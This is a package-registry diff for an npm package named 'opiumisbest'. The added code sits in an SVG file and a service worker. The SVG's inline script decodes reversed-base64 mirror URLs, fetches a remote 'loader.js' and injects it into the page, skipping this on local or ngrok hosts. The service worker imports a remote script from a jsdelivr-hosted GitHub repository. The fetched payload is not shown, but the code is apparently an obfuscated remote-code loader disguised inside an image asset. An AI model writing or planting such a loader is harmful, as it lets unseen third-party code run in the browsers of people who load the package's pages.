opiumisbest 1.0.1 → 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.svg +50 -27
- package/package.json +1 -1
- package/sw.js +29 -34
package/index.svg
CHANGED
|
@@ -12,37 +12,60 @@
|
|
|
12
12
|
<link rel="dns-prefetch" href="https://cdn.jsdelivr.net" />
|
|
13
13
|
|
|
14
14
|
<script>
|
|
15
|
-
(
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
const mirrors = atob(reverseStr(encodedMirrors)).split(",");
|
|
20
|
-
|
|
21
|
-
const hourlyCacheKey = Math.floor(Date.now() / 3600000);
|
|
22
|
-
const controller = new AbortController();
|
|
15
|
+
!function() {
|
|
16
|
+
var reverse = function(str) {
|
|
17
|
+
return str.split('').reverse().join('');
|
|
18
|
+
};
|
|
23
19
|
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
const res = await fetch(`${baseUrl}loader.js?${hourlyCacheKey}`, {
|
|
28
|
-
cache: "no-store",
|
|
29
|
-
signal: controller.signal
|
|
30
|
-
});
|
|
31
|
-
if (!res.ok) throw new Error("fetch failed");
|
|
32
|
-
return { base: baseUrl, txt: await res.text() };
|
|
33
|
-
})
|
|
34
|
-
);
|
|
20
|
+
var allowedHosts = ['localhost', '127.0.0.1', 'ngrok-free'];
|
|
21
|
+
var isLocalOrAllowed = allowedHosts.includes(location.hostname) ||
|
|
22
|
+
allowedHosts.includes(location.hostname.split('.').at(-2) || location.hostname);
|
|
35
23
|
|
|
36
|
-
|
|
37
|
-
|
|
24
|
+
if (isLocalOrAllowed) {
|
|
25
|
+
var scriptEl = document.createElement('script');
|
|
26
|
+
scriptEl.src = '/stuff/loader.js';
|
|
27
|
+
scriptEl.onload = function() {
|
|
28
|
+
scriptEl.remove();
|
|
29
|
+
};
|
|
30
|
+
document.head.appendChild(scriptEl);
|
|
31
|
+
} else {
|
|
32
|
+
var encodedList = "=8SZnFmcvR3cvQXZiJXZoN1Zu9GVvg2ZvQXZu5ibkNWLi5ic2lGblR2cq9yL6MHc0RHas8SZnFmcvR3cvQXZiJXZoN1Zu9GVvg2ZvQXZu5ic2lGblR2cq5SesR3chZmbpdWay92LvozcwRHdoxyLldWYy9Gdz9CdlJmclh2Un52bU9Can9Cdl5mLyZXasVGZzpmLlJ3bjd2LvozcwRHdoxyLldWYy9Gdz9CdlJmclh2Un52bU9Can9Cdl5mLyZXasVGZzpmLmN2ZulGdzVGdv8iOzBHd0hGLvU2ZhJ3b0N3L0VmYyVGaTdmbvR1Lod2L0VmbuIndpxWZkNnaukHb0NXYm9yL6MHc0RHas8SZnFmcvR3cvQXZiJXZoN1Zu9GVvg2ZvQXZu5ic2lGblR2cq5CbpRnbhVXcv8iOzBHd0hGLvU2ZhJ3b0N3L0VmYyVGaTdmbvR1Lod2L0VmbuIndpxWZkNnau4GZj9yL6MHc0RHa";
|
|
33
|
+
var baseUrls = atob(reverse(encodedList)).split(',');
|
|
34
|
+
var currentHour = Math.floor(Date.now() / 3600000);
|
|
35
|
+
var abortController = new AbortController();
|
|
36
|
+
var scriptLoaded = false;
|
|
38
37
|
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
38
|
+
Promise.any(
|
|
39
|
+
baseUrls.map(function(base) {
|
|
40
|
+
return fetch(base + 'loader.js' + '?' + currentHour, {
|
|
41
|
+
cache: 'no-store',
|
|
42
|
+
signal: abortController.signal
|
|
43
|
+
})
|
|
44
|
+
.then(function(response) {
|
|
45
|
+
if (!response.ok) {
|
|
46
|
+
throw new Error('bad status');
|
|
47
|
+
}
|
|
48
|
+
return response.text().then(function(text) {
|
|
49
|
+
return { base: base, txt: text };
|
|
50
|
+
});
|
|
51
|
+
});
|
|
52
|
+
})
|
|
53
|
+
)
|
|
54
|
+
.then(function(result) {
|
|
55
|
+
scriptLoaded = true;
|
|
56
|
+
abortController.abort();
|
|
57
|
+
window.assetsBase = result.base;
|
|
58
|
+
var scriptEl = document.createElement('script');
|
|
59
|
+
scriptEl.textContent = result.txt;
|
|
60
|
+
document.head.appendChild(scriptEl);
|
|
61
|
+
})
|
|
62
|
+
.catch(function() {
|
|
63
|
+
if (!scriptLoaded) {
|
|
64
|
+
alert(atob(reverse("=U2YuFGdzl2czFGIlJ3btBicvZGIkJ3bjNXaEBibvByc1BCdjFGdu92Ygwyc0V2czFGItVXaw9GIoNGdlZGIvRHIkVGbpFmZ")));
|
|
65
|
+
}
|
|
66
|
+
});
|
|
44
67
|
}
|
|
45
|
-
}
|
|
68
|
+
}();
|
|
46
69
|
</script>
|
|
47
70
|
</head>
|
|
48
71
|
<body style="background:#000">
|
package/package.json
CHANGED
package/sw.js
CHANGED
|
@@ -1,42 +1,37 @@
|
|
|
1
|
-
const
|
|
2
|
-
const
|
|
1
|
+
const devHosts = ["localhost", "127.0.0.1", "ngrok-free"];
|
|
2
|
+
const devMode = devHosts.includes(location.hostname) || devHosts.includes(location.hostname.split(".").at(-2) || location.hostname);
|
|
3
3
|
|
|
4
|
-
const
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
4
|
+
const cdnList = [
|
|
5
|
+
"https://cdn.jsdelivr.net/gh/TongSherbet/storage/",
|
|
6
|
+
"https://quantil.jsdelivr.net/gh/TongSherbet/storage/",
|
|
7
|
+
"https://fastly.jsdelivr.net/gh/TongSherbet/storage/",
|
|
8
|
+
"https://testingcf.jsdelivr.net/gh/TongSherbet/storage/",
|
|
9
|
+
"https://gcore.jsdelivr.net/gh/TongSherbet/storage/",
|
|
10
|
+
"https://originfastly.jsdelivr.net/gh/TongSherbet/storage/",
|
|
11
|
+
"https://jsdelivr.b-cdn.net/gh/TongSherbet/storage/"
|
|
12
12
|
];
|
|
13
13
|
|
|
14
|
-
let
|
|
14
|
+
let assetsBase = null;
|
|
15
15
|
|
|
16
|
-
function
|
|
17
|
-
|
|
18
|
-
return
|
|
19
|
-
}
|
|
20
|
-
return (activeCdn || cdns[0]) + path;
|
|
16
|
+
function getAsset(path) {
|
|
17
|
+
if (devMode) return `${location.protocol}//${location.hostname}:${location.port}/stuff/${path}`;
|
|
18
|
+
return (assetsBase || cdnList[0]) + path;
|
|
21
19
|
}
|
|
22
20
|
|
|
23
|
-
if (
|
|
24
|
-
|
|
21
|
+
if (devMode) {
|
|
22
|
+
importScripts(getAsset("sw.js"));
|
|
25
23
|
} else {
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
24
|
+
let lastErr;
|
|
25
|
+
for (const base of cdnList) {
|
|
26
|
+
assetsBase = base;
|
|
27
|
+
try {
|
|
28
|
+
importScripts(base + "sw.js");
|
|
29
|
+
lastErr = null;
|
|
30
|
+
break;
|
|
31
|
+
} catch (e) {
|
|
32
|
+
lastErr = e;
|
|
33
|
+
assetsBase = null;
|
|
34
|
+
}
|
|
36
35
|
}
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
if (lastError) {
|
|
40
|
-
throw lastError;
|
|
41
|
-
}
|
|
42
|
-
}
|
|
36
|
+
if (lastErr) throw lastErr;
|
|
37
|
+
}
|